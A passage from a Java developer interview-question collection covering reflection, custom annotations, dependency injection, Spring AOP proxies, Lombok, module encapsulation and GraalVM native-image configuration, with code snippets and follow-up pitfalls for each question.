        } finally { creating.remove(type); }
    }
}
```

- Real containers add interface-to-implementation bindings, scopes, qualifiers, and `@Inject`-based constructor selection.

FOLLOW-UP TRAPS

- **How does constructor injection detect circular dependencies?** The `creating` set; Spring also fails for constructor cycles since Boot 2.6 even for setter cycles unless allowed.
- **Why is `getDeclaredConstructors()[0]` fragile?** Order is unspecified; pick the annotated one or the only one explicitly.
- **Is this container thread-safe?** No; use `ConcurrentHashMap.computeIfAbsent` with care (recursive modification) or a lock.

#di #container #design

Q58 Extend the mini container to support an @Inject annotation on fields and an interface binding. ADVANCED

Add a `bind(Class<I>, Class<? extends I>)` map and, after construction, scan fields for `@Inject`, resolve the field's type through the binding map, and set it.

```
private final Map<Class<?>, Class<?>> bindings = new HashMap<>();
public <I> void bind(Class<I> i, Class<? extends I> impl) { bindings.put(i, impl); }

private void injectFields(Object o) throws Exception {
    for (Class<?> c = o.getClass(); c != Object.class; c = c.getSuperclass())
        for (Field f : c.getDeclaredFields())
            if (f.isAnnotationPresent(Inject.class)) {
                f.setAccessible(true);
                f.set(o, get(bindings.getOrDefault(f.getType(), f.getType())));
            }
}
```

- Walking superclasses matters; `@Inject` in base classes would otherwise be skipped.

FOLLOW-UP TRAPS

- **What if an interface has no binding?** `get(interface)` fails at `getDeclaredConstructors()[0]` (interfaces have none); throw a clear "no binding" error.
- **What breaks with a `final` injected field?** `Field.set` on a `final` instance field works after `setAccessible`, but it is hostile and may be constant-folded; do not rely on it.

#di #field-injection #binding

Q59 Why does field injection make a class hard to unit test, and what happens? INTERMEDIATE

With `@Autowired private Repo repo;`, `new Service()` yields an object whose `repo` is `null`; the first call throws `NullPointerException`. There is no constructor or setter to supply a mock, so tests need the Spring context, `@InjectMocks` (Mockito reflection) or `ReflectionTestUtils.setField`.

```
class Service { @Autowired private Repo repo;
    String name(int id) { return repo.find(id).name(); } }
new Service().name(1); // NullPointerException
```

- Constructor injection makes the dependency explicit, allows `final` fields, and tests use plain `new Service(mockRepo)`.

FOLLOW-UP TRAPS

- **Does `@InjectMocks` always inject?** It tries constructor, then property setter, then field injection by type; if two fields share a type it falls back by name, and failures are silent.
- **Does `@Mock` initialize without `MockitoExtension` / `openMocks`?** No, mocks stay `null`.

#field-injection #testing #spring

Q60 A Spring test with @Autowired field in a plain JUnit class fails with NPE. Why? BASIC

Plain JUnit does not process Spring annotations; no container exists, so `@Autowired` is just metadata nobody reads. Fix with `@SpringBootTest` / `@ExtendWith(SpringExtension.class)`, or avoid Spring with a constructor-injected unit test.

- `@SpringBootTest` loads the full context (slow); slices (`@WebMvcTest`, `@DataJpaTest`) load less.
- JUnit 5 + Spring: the `SpringExtension` acts as the test instance post-processor.

FOLLOW-UP TRAPS

- **Does `@Autowired` work in a test class constructor?** Yes with JUnit 5 `SpringExtension` as a `ParameterResolver`.
- **Does `@MockBean` work without Spring?** No; with Mockito only, use `@Mock`.

#spring #junit #testing

Q61 Reflection throws InaccessibleObjectException on JDK 17. What now? ADVANCED

Message: `Unable to make field private final ... accessible: module java.base does not "opens java.lang" to unnamed module`. JDK 17 strongly encapsulates internals.

Options in order of preference:

1. Upgrade the library to a version that uses public APIs, `MethodHandles.privateLookupIn` or `VarHandle`.
2. Use `--add-opens java.base/java.lang=ALL-UNNAMED` (JVM flag, `JAVA_TOOL_OPTIONS`, or in the jar manifest `Add-Opens:`).
3. For your own modules, add `opens com.app.model to jackson.databind;`.

FOLLOW-UP TRAPS

- **Is `--illegal-access=permit` still available on 17?** No, the flag was removed; the JVM warns that it is ignored.
- **Does `--add-exports` work for reflection?** No; it makes public types accessible, `--add-opens` is needed for deep reflection.

#jpms #add-opens #migration

Q62 What is printed and why: reflection on a private constructor of a singleton? INTERMEDIATE

Reflection can break a class-based singleton by calling its private constructor.

```
class Single { static final Single I = new Single(); private Single() {} }
Constructor<Single> c = Single.class.getDeclaredConstructor();
c.setAccessible(true);
System.out.println(c.newInstance() == Single.I); // false
```

Mitigations: throw from the constructor if `I != null`, or use an `enum` singleton, which `Constructor.newInstance` explicitly refuses.

FOLLOW-UP TRAPS

- **Does enum singleton survive serialization attacks too?** Yes, enum deserialization returns the existing constant.
- **Does a module boundary stop this?** Only when the package is not open to the caller.

#singleton #reflection #enum

Q63 Why does this CGLIB-proxied bean throw NullPointerException on a field but not on a method? ADVANCED

The CGLIB proxy is a subclass instance whose own fields are uninitialized (created via Objenesis, no constructor run). Method calls are intercepted and delegated to the real target, but direct **field** access on the proxy (e.g. `other.name` from the same package or a `final` method call) reads the proxy's empty fields.

```
@Service class Price { String currency = "USD"; public final String cur() { return currency; } }
// injected proxy: proxy.currency == null; proxy.cur() -> final, not intercepted, runs on proxy -
> null
```

- Use getters (non-final), keep logic in non-final public methods, avoid exposing fields.

FOLLOW-UP TRAPS

- **Why is the `final` method returning null?** It is not overridden by the subclass, so it executes against the proxy instance's uninitialized state.
- **Why does Kotlin hit this often?** Classes and members are `final` by default; use the `kotlin-spring` all-open plugin.

#cglib #proxy #spring

Q64 @Transactional method calls another @Transactional(REQUIRES_NEW) method in the same class. What happens? INTERMEDIATE

The inner call does not start a new transaction; it runs inside the outer one. Self-invocation uses `this`, not the proxy, so the advice never runs.

```
@Service class Orders {
    @Transactional public void place() { audit(); }          // outer tx
    @Transactional(propagation = REQUIRES_NEW) void audit() { } // ignored
}
```

Fixes: move `audit` into another bean, inject self lazily, use `TransactionTemplate`, or AspectJ weaving mode.

FOLLOW-UP TRAPS

- **Would making `audit` public help?** Not for self-invocation; the proxy is still bypassed.
- **If `audit` throws, is the outer rolled back?** The exception propagates through the outer proxy and triggers rollback of the shared transaction.

#spring #self-invocation #transactional

Q65 A custom annotation on an interface method is not found on the implementation. What to do? INTERMEDIATE

`method.getAnnotation` only sees annotations declared directly on that `Method`. For overridden methods, search the hierarchy yourself or use Spring's `AnnotatedElementUtils.findMergedAnnotation(method,`

`Type.class)`, which looks at superclass and interface methods.

```
Audit a = AnnotatedElementUtils.findMergedAnnotation(impl, Audit.class);
```

- Alternatively put the annotation on the class and make it `@Inherited`.

FOLLOW-UP TRAPS

- **Does `@Inherited` fix the method case?** No, it only applies to class annotations.
- **Which method do you pass in a proxy handler?** Use `AopUtils.getMostSpecificMethod(method, targetClass)`.

#annotations #inheritance #spring

Q66 Jackson deserializes List as List. Why and how to fix? BASIC

`readValue(json, List.class)` supplies only the raw type, so elements default to `LinkedHashMap`. Pass full generic type information with `TypeReference`.

```
List<User> users = mapper.readValue(json, new TypeReference<List<User>>() {});
// or
mapper.getTypeFactory().constructCollectionType(List.class, User.class);
```

The failure shows later as `ClassCastException: LinkedHashMap cannot be cast to User` at use.

FOLLOW-UP TRAPS

- **Why does the error appear far from `readValue`?** Erasure removes casts until element access inserts a checkcast.
- **Does `new TypeReference<List<User>>()` without `{}` compile?** No, `TypeReference` is abstract.

#jackson #typetoken #erasure

Q67 How would you find the actual type argument T in `abstract class Repo<T>` for `class UserRepo extends Repo<User>`? INTERMEDIATE

Read the generic superclass of the concrete class.

```
abstract class Repo<T> {
    @SuppressWarnings("unchecked")
    final Class<T> type = (Class<T>) ((ParameterizedType)
        getClass().getGenericSuperclass()).getActualTypeArguments()[0];
}
class UserRepo extends Repo<User> {}
System.out.println(new UserRepo().type); // class User
```

Breaks for `new Repo<User>() {}`? No, that works too; but `class Mid<T> extends Repo<T>` and `Mid<User>` instances yield `TypeVariable` and `ClassCastException`. Spring's `GenericTypeResolver.resolveTypeArgument` handles hierarchies.

FOLLOW-UP TRAPS

- **What does it return for `new Repo<User>() {}`?** Works, the anonymous subclass records `User`.
- **What fails with an intermediate generic subclass?** The type argument is a `TypeVariable`; walk the hierarchy.

#generics #reflection

Q68 A JUnit test needs to call a private method. Should you use reflection? BASIC

Prefer testing through the public API. If the private logic is complex enough to need its own tests, extract it into a package-private or separate class. Reflection (`setAccessible`) works but couples tests to implementation names and breaks silently under refactoring.

```
Method m = Calc.class.getDeclaredMethod("round", double.class);
m.setAccessible(true);
double r = (double) m.invoke(new Calc(), 2.567);
```

FOLLOW-UP TRAPS

- **Does it work on a modularized JDK class?** Only if the package is opened to the test; for JDK internals it fails on 17+.
- **Does `ReflectionTestUtils.invokeMethod` differ?** It is Spring's wrapper, same mechanism with friendlier errors.

#testing #private #design

Q69 A hot loop calls Method.invoke 10 million times and is slow. How do you speed it up? ADVANCED

First, hoist `getMethod` and `setAccessible` out of the loop. Then, for the remaining overhead, use a `static final MethodHandle` (inlineable) or generate a lambda with `LambdaMetafactory` for a typed functional interface. Best of all, avoid reflection by generating code at build time.

```
private static final MethodHandle LEN;
static { try { LEN = MethodHandles.lookup().findVirtual(
    String.class, "length", MethodType.methodType(int.class));
} catch (ReflectiveOperationException e) { throw new ExceptionInInitializerError(e); } }
int n = (int) LEN.invokeExact("abc");
```

FOLLOW-UP TRAPS

- **Why must the handle be `static final`?** The JIT trusts only constants for inlining.
- **Why benchmark with JMH?** Dead-code elimination and warm-up distort naive timers.

#performance #methodhandle #caching

Q70 What happens when a reflected method throws a checked exception? BASIC

The caller receives `InvocationTargetException` whose `getCause()` is the original exception. The stack trace shows reflection frames.

```
try { m.invoke(obj); }
catch (InvocationTargetException e) {
    Throwable real = e.getCause();   // e.g. IOException
    throw real;                       // rethrow original
}
```

- With a JDK proxy, a checked exception thrown from the handler that the interface does not declare becomes `UndeclaredThrowableException`.

FOLLOW-UP TRAPS

- **Is `InvocationTargetException` thrown for `Error`s?** Yes, errors are wrapped too.
- **What is thrown if the method was inaccessible?** `IllegalAccessException`, thrown directly, not wrapped.

#exceptions #invoke

Q71 A class fails to cast to itself: ClassCastException "com.A cannot be cast to com.A". Why? ADVANCED

Two different classloaders loaded `com.A`; a class's identity is (name, defining loader). Typical in app servers, OSGi, Spring Boot devtools restart loader, or plugin systems.

- Fix by ensuring the type comes from a shared parent loader (e.g. put the API in the server's lib), or communicate through interfaces loaded by a common parent.

- Diagnose with `a.getClass().getClassLoader()` for both objects.

FOLLOW-UP TRAPS

- **Does devtools restart cause this?** Yes, objects cached across a restart (static caches in libraries loaded by the base loader) hold classes from the old restart loader.
- **Can serialization fix it?** Serialize to bytes and deserialize with the target loader, a common workaround.

#classloader #classcastexception

Q72 Static initializer runs unexpectedly with Class.forName. What is the output? BASIC

Output order demonstrates that `forName` initializes while `.class` and `loadClass` do not.

```
class Boot { static { System.out.println("init"); } }

Class<?> a = Boot.class;                                    // nothing
Class<?> b = Boot.class.getClassLoader().loadClass("Boot"); // nothing
Class<?> c = Class.forName("Boot");                         // prints: init
```

Initialization is triggered once, on first `new`, static method call, non-constant static field access, or `forName`.

FOLLOW-UP TRAPS

- **Does reading a `static final int X = 5` constant initialize the class?** No, it is inlined at compile time.
- **Does it run twice for `forName` called twice?** No, only once per classloader.

#class-loading #initialization

Q73 A GraalVM native image works with Jackson in tests but fails in production with empty JSON. What happened? ADVANCED

The DTOs were not registered for reflection, so Jackson found no accessible properties (or no constructor) in the native binary. On the JVM, reflection works without registration.

Fix:

```
@RegisterReflectionForBinding({OrderDto.class, ItemDto.class})
@Configuration class Hints {}
```

- Or provide `reflect-config.json`, or run the tracing agent in tests (`-agentlib:native-image-agent`).
- Spring detects types in controller signatures automatically, but not types used only through `ObjectMapper.convertValue`.

FOLLOW-UP TRAPS

- **Why did it pass JVM tests?** The JVM has no closed-world restriction; run `nativeTest` to catch it.
- **Do records need registration?** Yes, their accessors and canonical constructors need hints too.

#graalvm #jackson #native-image

Q74 Fix a native-image failure caused by a JDK dynamic proxy. ADVANCED

Native image needs to know proxy interface sets at build time. The error is `Proxy class defined by interfaces [...] not found`. Register the exact ordered interface list in proxy configuration.

```
{
  "reflection": [],
  "proxy": [ ["com.app.PaymentClient", "org.springframework.aop.SpringProxy"] ]
}
```

(Older layout: `proxy-config.json` with `[["com.app.PaymentClient"]]`.)

- Order of interfaces matters and each distinct combination is its own entry.
- Spring AOT usually generates these hints; add `@ImportRuntimeHints` for custom proxies.

FOLLOW-UP TRAPS

- **Can CGLIB run at native image runtime?** No, runtime bytecode generation is unsupported; Spring generates the subclasses at build time.
- **Does the order of interfaces matter?** Yes, it defines the proxy class.

#graalvm #proxy

Q75 Design a custom @RateLimited annotation processed by Spring AOP. What are the considerations? ADVANCED

Define a runtime, method-target annotation and an `@Aspect` with `@Around("@annotation(rl)")` that binds the annotation instance.

```
@Retention(RetentionPolicy.RUNTIME) @Target(ElementType.METHOD)
public @interface RateLimited { int perMinute() default 60; }

@Aspect @Component
class RateLimitAspect {
    @Around("@annotation(rl)")
    Object limit(ProceedingJoinPoint pjp, RateLimited rl) throws Throwable {
        if (!bucketFor(pjp).tryAcquire(rl.perMinute()))
            throw new TooManyRequestsException();
        return pjp.proceed();
    }
}
```

- Key by user/method; use Redis or Bucket4j for multi-instance limiting.
- Remember self-invocation, final methods and order relative to `@Transactional` (`@Order`).

FOLLOW-UP TRAPS

- **Why use `@annotation(rl)` with a parameter rather than `getMethod().getAnnotation`?** Spring resolves the merged annotation from the real target method, avoiding the interface-vs-impl lookup bug.
- **Is local in-memory limiting correct with 3 instances?** No, effective limit becomes 3x.

#spring-aop #custom-annotation #design

Q76 Write an annotation processor that fails the build when a @Builder-like class has no no-arg constructor. ADVANCED

Extend `AbstractProcessor`, iterate annotated elements, inspect enclosed constructors with `javax.lang.model`, and report with `Messager`.

```
@SupportedAnnotationTypes("com.app.NeedsNoArg")
@SupportedSourceVersion(SourceVersion.RELEASE_17)
public class NoArgCheck extends AbstractProcessor {
    public boolean process(Set<? extends TypeElement> ann, RoundEnvironment env) {
        for (Element e : env.getElementsAnnotatedWith(NeedsNoArg.class)) {
            boolean ok = ElementFilter.constructorsIn(e.getEnclosedElements())
                .stream().anyMatch(c -> c.getParameters().isEmpty());
            if (!ok) processingEnv.getMessager()
                .printMessage(Diagnostic.Kind.ERROR, "needs no-arg ctor", e);
        }
        return false;
    }
}
```

- Register via `META-INF/services/javax.annotation.processing.Processor` (or `@AutoService`).
- Use `getSupportedSourceVersion` returning `latestSupported()` to avoid warnings on newer JDKs.

FOLLOW-UP TRAPS

- **Why return `false` from `process`?** Returning true claims the annotation so other processors skip it; false lets others see it too.
- **What if no explicit constructor exists?** The compiler adds a default one, which appears in the enclosed elements.

#apt #processor #compile-time

Q77 Gradle build does not run Lombok after upgrading to Gradle 6+. Why? INTERMEDIATE

Since Gradle 5, processors on `compileOnly` are not executed. You must declare both:

```
dependencies {
    compileOnly 'org.projectlombok:lombok'
    annotationProcessor 'org.projectlombok:lombok'
    testCompileOnly 'org.projectlombok:lombok'
    testAnnotationProcessor 'org.projectlombok:lombok'
}
```

Symptom: `cannot find symbol: method getName()` on Lombok-annotated classes.

FOLLOW-UP TRAPS

- **Does Maven need the same?** Maven picks processors from the classpath unless `maven-compiler-plugin` `annotationProcessorPaths` is set; then Lombok must be listed there.
- **Do tests need it separately?** Yes, test source sets have their own configurations.

#lombok #gradle #apt

Q78 A Lombok @Data entity causes StackOverflowError in toString. Why? INTERMEDIATE

In a bidirectional relationship, `Order.toString()` prints its `items`, each `Item.toString()` prints its `order`, forever. Same for generated `hashCode` / `equals`.

```
@Data @Entity class Order { @OneToMany(mappedBy="order") List<Item> items; }
@Data @Entity class Item  { @ManyToOne Order order; }
// order.toString() -> StackOverflowError
```

Fix: `@ToString.Exclude` / `@EqualsAndHashCode.Exclude` on the back-reference, or write `equals/hashCode` on the business key/ID manually.

FOLLOW-UP TRAPS

- **Is `@Data` otherwise safe for DTOs?** Yes, for simple classes; for entities prefer `@Getter/@Setter` only.
- **Does `hashCode` over a lazy collection trigger a query?** Yes, loading the whole collection.

#lombok #jpa #bidirectional

Q79 A custom field annotation works on Java classes but not on a record. Why? ADVANCED

For a record component, an annotation is propagated only to the declaration contexts permitted by its `@Target`. If `@Target(ElementType.FIELD)` only, it lands on the private field; reading `getRecordComponents()[0].getAnnotation` finds nothing, and reading the accessor finds nothing.

```
@Retention(RUNTIME) @Target(FIELD) @interface Tag {}
record P(@Tag String name) {}
P.class.getDeclaredField("name").isAnnotationPresent(Tag.class);       // true
P.class.getRecordComponents()[0].isAnnotationPresent(Tag.class);       // false
P.class.getMethod("name").isAnnotationPresent(Tag.class);              // false
```

Add `RECORD_COMPONENT`, `METHOD`, `PARAMETER` to `@Target` to expose it where the framework looks.

FOLLOW-UP TRAPS

- **If `@Target` is absent?** The annotation propagates to all applicable places.
- **Which element does Jackson read for records?** The canonical constructor/accessors, so `@JsonProperty` needs `RECORD_COMPONENT` / `PARAMETER`-compatible targets (it has them).

#records #annotations #target

Q80 Spring bean created with `new` ignores @Value and @Autowired. Explain. BASIC

Annotations are only processed for beans created by the container. `new Mailer()` skips `BeanPostProcessor`s, so `@Value` / `@Autowired` fields stay `null`/default and `@Transactional` has no proxy.

- Fixes: declare it as a bean and inject it, use `ObjectProvider` / `ApplicationContext.getBean`, or `AutowireCapableBeanFactory.autowireBean(obj)` for externally created objects.
- Objects created by JPA, Jackson, or Kafka deserializers are likewise not injected.

FOLLOW-UP TRAPS

- **Can `@Configurable` fix it?** Yes with AspectJ weaving (`@EnableSpringConfigured`), but it needs agent/compile weaving.
- **Does `@Component` on the class alone suffice for `new`?** No.

#spring #di #lifecycle

Q81 @PostConstruct is not called. Why? INTERMEDIATE

Likely causes: the bean is not Spring-managed; the `jakarta.annotation` API is missing; Boot 3 uses `jakarta.annotation.PostConstruct`, not `javax`; or the method has a parameter/is `static`.

- In Spring 6, `javax.annotation.PostConstruct` is not recognized.
- `CommonAnnotationBeanPostProcessor` handles it, called after dependency injection and before use.
- Alternatives: `InitializingBean.afterPropertiesSet`, `@Bean(initMethod)`.

FOLLOW-UP TRAPS

- **Are `@PostConstruct` and constructor ordering defined?** Constructor, then injection, then `@PostConstruct`.
- **Is `@PreDestroy` called for prototype beans?** No, the container does not manage their destruction.

#spring #lifecycle #jakarta

Q82 Hibernate throws "No default constructor for entity". What does it mean? BASIC

Hibernate instantiates entities reflectively and needs a no-argument constructor with at least package/protected visibility (public/protected per JPA spec).

```
@Entity class User {
    @Id Long id; String name;
    protected User() {}              // for JPA
    public User(String name) { this.name = name; }
}
```

FOLLOW-UP TRAPS

- **Why `protected`, not `private`?** JPA spec requires public or protected, and proxy subclasses need access.
- **Does `@AllArgsConstructor` alone satisfy it?** No; add `@NoArgsConstructor(access = PROTECTED)`.

#hibernate #entity #constructor

Q83 getDeclaredFields returns an unexpected `$jacocoData` field. What is it?

INTERMEDIATE

JaCoCo's agent instruments bytecode and adds a synthetic static field `$jacocoData` and a method `$jacocoInit`. Reflection-based code (serializers, equals builders, schema generators) sees them.

- Filter with `field.isSynthetic()` / `method.isSynthetic()`.
- Same story for inner classes' `this$0` and enum `$VALUES`.

FOLLOW-UP TRAPS

- **Does it appear in production?** Only when the agent is attached, e.g. test runs.
- **Does `Modifier.isTransient` filter it?** No, use `isSynthetic`.

#synthetic #jacoco #instrumentation

Q84 How would you implement a generic, annotation-driven CSV exporter?

INTERMEDIATE

Define `@Column(name, order)`, collect annotated fields once per class into a cached sorted list of `Field` (made accessible), then format rows using `field.get`.

```
@Retention(RUNTIME) @Target(FIELD) @interface Column { String value(); int order(); }

static final ClassValue<List<Field>> FIELDS = new ClassValue<>() {
    protected List<Field> computeValue(Class<?> c) {
        return Arrays.stream(c.getDeclaredFields())
            .filter(f -> f.isAnnotationPresent(Column.class))
            .sorted(Comparator.comparingInt(f -> f.getAnnotation(Column.class).order()))
            .peek(f -> f.setAccessible(true)).toList();
    }
};
```

- `ClassValue` caches per class without leaking classloaders.
- Escape quotes and commas; handle `null`.

FOLLOW-UP TRAPS

- **Why `ClassValue` over a static `HashMap<Class,...>`?** A strong map entry would prevent unloading the class and its loader.
- **Is `getDeclaredFields` order stable?** Not guaranteed by spec, so sort explicitly.

#reflection #custom-annotation #design

Q85 A library uses reflection to read a field that was renamed by ProGuard/R8 obfuscation. What breaks?

INTERMEDIATE

Names used via string lookups (`getDeclaredField("email")`, JSON property names derived from fields, `Class.forName`) no longer match, giving `NoSuchFieldException` or silently empty JSON. Add keep rules or use explicit names.

```
-keep class com.app.dto.** { *; }
-keepattributes Signature,*Annotation*
```

- `Signature` attribute must be kept or generic info (TypeToken) is lost.
- Prefer `@SerializedName` / `@JsonProperty("email")` so names do not depend on field names.

FOLLOW-UP TRAPS

- **Why are annotations missing after shrinking?** `-keepattributes *Annotation*` was not set.
- **Why does Gson `TypeToken` throw after minification?** The `Signature` attribute was stripped.

#obfuscation #keep-rules

Q86 What does this print: generic arrays and erasure with reflection?

INTERMEDIATE

Both lists have the same runtime class, so the comparison is `true`.

```
List<String> a = new ArrayList<>();
List<Integer> b = new ArrayList<>();
System.out.println(a.getClass() == b.getClass()); // true

Method m = Holder.class.getMethod("get");        // List<String> get()
System.out.println(m.getReturnType());           // interface java.util.List
System.out.println(m.getGenericReturnType());    // java.util.List<java.lang.String>
```

Instance-level type args are erased; declaration-level signatures survive.

FOLLOW-UP TRAPS

- **Can `a.add((String)(Object)1)` be blocked at runtime?** Via reflection or raw types you can insert wrong types; failure appears later as `ClassCastException`.
- **Why can't you write `new T[10]`?** `T` is erased; use `Array.newInstance(clazz, n)`.

#generics #erasure #arrays

Q87 Implement a generic array creation using reflection.

BASIC

Use `java.lang.reflect.Array.newInstance(componentType, length)` with a `Class<T>` token.

```
@SuppressWarnings("unchecked")
static <T> T[] newArray(Class<T> type, int n) {
    return (T[]) Array.newInstance(type, n);
}
String[] s = newArray(String.class, 3);
System.out.println(s.getClass().getSimpleName()); // String[]
```

FOLLOW-UP TRAPS

- **Why not `(T[]) new Object[n]`?** It produces `Object[]`, and returning it as `String[]` throws `ClassCastException`.
- **Does `Array.newInstance(int.class, 3)` work?** Yes, returns `int[]` (boxed as `Object`).

#array #reflection #generics

Q88 Using reflection, how do you list all fields of an object including inherited private ones?

BASIC

`getDeclaredFields` is per class, so loop up the superclass chain.

```
static List<Field> allFields(Class<?> c) {
    List<Field> out = new ArrayList<>();
    for (; c != null && c != Object.class; c = c.getSuperclass())
        out.addAll(Arrays.asList(c.getDeclaredFields()));
    return out;
}
```

- Skip `static` and `synthetic` fields in most use cases.
- Shadowed field names are possible, so key by declaring class too.

FOLLOW-UP TRAPS

- **Why not `getFields()`?** It returns only public fields (including inherited public ones).
- **What about interface constants?** `getFields()` includes them; the loop above does not.

#field #inheritance

Q89 Debug: NoSuchMethodException when calling getMethod("process", Integer.class) for `process(int)`. BASIC

`getMethod` matches exact parameter types: `int.class` is not `Integer.class`. Use `getMethod("process", int.class)`; `invoke` accepts an `Integer` and unboxes it.

```
Method m = Svc.class.getMethod("process", int.class);
m.invoke(svc, 5);  // autoboxed arg, OK
```

- There is no overload resolution like the compiler does; you must match the declared types exactly (or loop to find the best fit, as Spring's `BeanUtils` / `MethodUtils` do).

FOLLOW-UP TRAPS

- **Does `getMethod("process", Object.class)` match `process(String)`?** No, exact match only.
- **How do you get `int.class` from a wrapper?** `Integer.TYPE`.

#getmethod #primitives

Q90 Which JDK version issues arise when a library uses sun.misc.Unsafe or internal APIs? ADVANCED

JDK 9 introduced strong encapsulation; JDK 16 closed `java.*` internals by default; 17 removed the escape flag. Libraries relying on `sun.misc.Unsafe` still work (jdk.unsupported), but those using `jdk.internal.*` or `sun.nio.ch` need `--add-exports/--add-opens`. JDK 23+ emits warnings for Unsafe memory access and later releases will deny it.

- Diagnose with `jdeps --jdk-internals app.jar`.
- Upgrade Lombok, Mockito, ByteBuddy, Kryo, Hadoop and Spark clients before moving JDK versions.

FOLLOW-UP TRAPS

- **Can the `--add-opens` flags be put in the jar?** Yes, via `Add-Opens` in the manifest of an executable jar.
- **Does an agent bypass encapsulation?** Instrumentation agents can redefine classes and `Instrumentation.redefineModule` can open packages.

#migration #internals #java17

Q91 Implement equals-by-reflection helper and list the problems. INTERMEDIATE

A reflective `equals` iterates fields and compares with `Objects.equals`.

```
static boolean same(Object a, Object b) throws IllegalAccessException {
    if (a == b) return true;
    if (a == null || b == null || a.getClass() != b.getClass()) return false;
    for (Field f : a.getClass().getDeclaredFields()) {
        f.setAccessible(true);
        if (!Objects.equals(f.get(a), f.get(b))) return false;
    }
    return true;
}
```

Problems: slow, ignores superclass fields, includes synthetic fields, breaks on arrays (`Objects.equals` is reference equality; use `deepEquals`), and fails under module encapsulation. Records and IDE-generated `equals` are better.

FOLLOW-UP TRAPS

- **Does it break with `$jacocoData` or `this$0`?** Yes, filter synthetic fields.
- **Does Apache `EqualsBuilder.reflectionEquals` avoid these?** Partly, but it is still slow and reflection-dependent.

#reflection #equals #pitfalls

Q92 How would you implement a tiny JUnit-style test runner with annotations? INTERMEDIATE

Find methods annotated with `@Check`, instantiate the class, invoke each, count successes and failures, and unwrap `InvocationTargetException`.

```
@Retention(RUNTIME) @Target(METHOD) @interface Check {}

static void run(Class<?> c) throws Exception {
    Object inst = c.getDeclaredConstructor().newInstance();
    for (Method m : c.getDeclaredMethods()) {
        if (!m.isAnnotationPresent(Check.class)) continue;
        m.setAccessible(true);
        try { m.invoke(inst); System.out.println("PASS " + m.getName()); }
        catch (InvocationTargetException e) {
            System.out.println("FAIL " + m.getName() + " " + e.getCause());
        }
    }
}
```

FOLLOW-UP TRAPS

- **Why create a new instance per method in JUnit?** To avoid shared state between tests.
- **Is method execution order defined?** `getDeclaredMethods` order is unspecified; JUnit 5 uses a deterministic but non-obvious order unless `@TestMethodOrder`.

#junit #reflection #custom-annotation

Q93 Is it a good idea to use reflection to copy properties between DTO and entity? INTERMEDIATE

Reflection mappers (`BeanUtils.copyProperties`, ModelMapper) are convenient but fail late: renamed fields silently stop copying. Compile-time generators (MapStruct) produce plain getter/setter code, giving type safety, speed and native-image compatibility.

- `BeanUtils.copyProperties` ignores type mismatches silently (property skipped) and shallow-copies.
- MapStruct errors at compile time for unmapped targets when `unmappedTargetPolicy = ERROR`.

FOLLOW-UP TRAPS

- **Does `BeanUtils.copyProperties(src, dst)` copy `null` s?** Yes, overwriting existing values.
- **Is argument order the same in Apache and Spring BeanUtils?** No, Spring is (source, target) and Apache Commons is (dest, orig).

#mapping #mapstruct #performance

Q94 Describe the effect of calling setAccessible(true) on a Method in a multi-module application where the target package is not opened. ADVANCED

`setAccessible(true)` throws `InaccessibleObjectException` (a `RuntimeException`) even though the member is `public` and the caller is a framework, if the declaring class is non-public or the package is not open/exported to the framework's module.

- For public members of exported packages of public classes, no `setAccessible` is needed.
- `trySetAccessible()` returns `false` instead of throwing, useful for frameworks that fall back.
- `Module.isOpen(pkg, other)` can check beforehand; the owner can call `module.addOpens(pkg, other)` at runtime from inside the module.

FOLLOW-UP TRAPS

- **Does `canAccess(obj)` replace `isAccessible()` ?** Yes, `isAccessible` is deprecated since 9.
- **Which `opens` form limits exposure?** Qualified: `opens com.app.model to org.hibernate.orm.core;`.

#jpms #exceptions #framework

Q95 What is the output: inner class constructor and reflection? ADVANCED

A non-static inner class constructor takes the outer instance as a hidden first parameter.

```
class Outer { class Inner { Inner() {} } }
Constructor<?>[] cs = Outer.Inner.class.getDeclaredConstructors();
System.out.println(cs[0].getParameterCount());      // 1
System.out.println(cs[0].getParameterTypes()[0]);   // class Outer
Object in = cs[0].newInstance(new Outer());
```

- `getDeclaredConstructor()` (no args) throws `NoSuchMethodException`. Same issue breaks Jackson/Gson on non-static inner classes.

FOLLOW-UP TRAPS

- **Why is making DTOs `static` nested classes recommended?** They need no outer instance and instantiate cleanly via no-arg constructor.
- **What is the extra field in the inner class?** The synthetic `this$0`.

#inner-class #constructor #reflection

Q96 A service using @Async or @Cacheable also fails when injected by class name. Why and how to fix? INTERMEDIATE

If the bean has interfaces and JDK proxying is selected (`proxyTargetClass=false`, e.g. via `@EnableAsync(proxyTargetClass=false)` or older Spring), the proxy implements the interface only, so injecting `MyServiceImpl` fails: `BeanNotOfRequiredTypeException ... is actually of type jdk.proxy2.$Proxy45`.

Fix: inject by interface, or force CGLIB with `proxyTargetClass = true` (Boot default).

FOLLOW-UP TRAPS

- **What does Boot do by default?** `spring.aop.proxy-target-class=true`, so CGLIB.
- **Does `@Async` on a `private` method run async?** No, it runs synchronously on the caller thread.

#proxy #spring #injection

Q97 A custom @Cached annotation using Spring AOP caches wrong results for different arguments. Why? INTERMEDIATE

The aspect likely used only the method name as the key. A correct key combines the target class, method signature and the arguments (`Arrays.deepHashCode` / `SimpleKey`) or a SpEL expression from the annotation.

```
String key = pjp.getTarget().getClass().getName() + "#"
    + pjp.getSignature().toLongString() + Arrays.deepToString(pjp.getArgs());
```

- Beware mutable arguments (key changes), `null` handling, and unbounded growth; use Caffeine with a size/TTL.

FOLLOW-UP TRAPS

- **Does `toString()` of an arbitrary object work as a key?** Not unless it renders state; default `Object.toString` includes identity hash.
- **How does Spring's `@Cacheable` build keys?** `SimpleKeyGenerator` over the parameters, or a `key` SpEL expression.

#aop #cache #key

Q98 How do you detect at startup that a required annotation's attribute is misconfigured, instead of failing at runtime? INTERMEDIATE

Validate in a `BeanPostProcessor` / `SmartInitializingSingleton` or an `ApplicationRunner` that scans beans for the annotation and throws `IllegalStateException` on invalid attributes, so the app refuses to start. At

build time, an annotation processor can do the same with compiler errors.

- Spring Boot's `@ConfigurationProperties` + `@Validated` validate config binding at startup.
- Fail-fast avoids production surprises on first request.

FOLLOW-UP TRAPS

- **Why not validate inside the aspect on first call?** The failure shows up only when that path is hit in production.
- **Does `@Validated` on `@ConfigurationProperties` need a validator on the classpath?** Yes, `spring-boot-starter-validation`.

#fail-fast #spring #validation

Q99 What happens if two threads call Field.set on the same shared object reflectively? INTERMEDIATE

Reflection gives no synchronization or visibility guarantees beyond those of the field itself. `Field.set` on a non-volatile field is a plain write; another thread may see a stale value. `Field` objects themselves are thread-safe to share for reads, but `setAccessible` state is per `Field` instance and a copy is returned by each `getDeclaredField`.

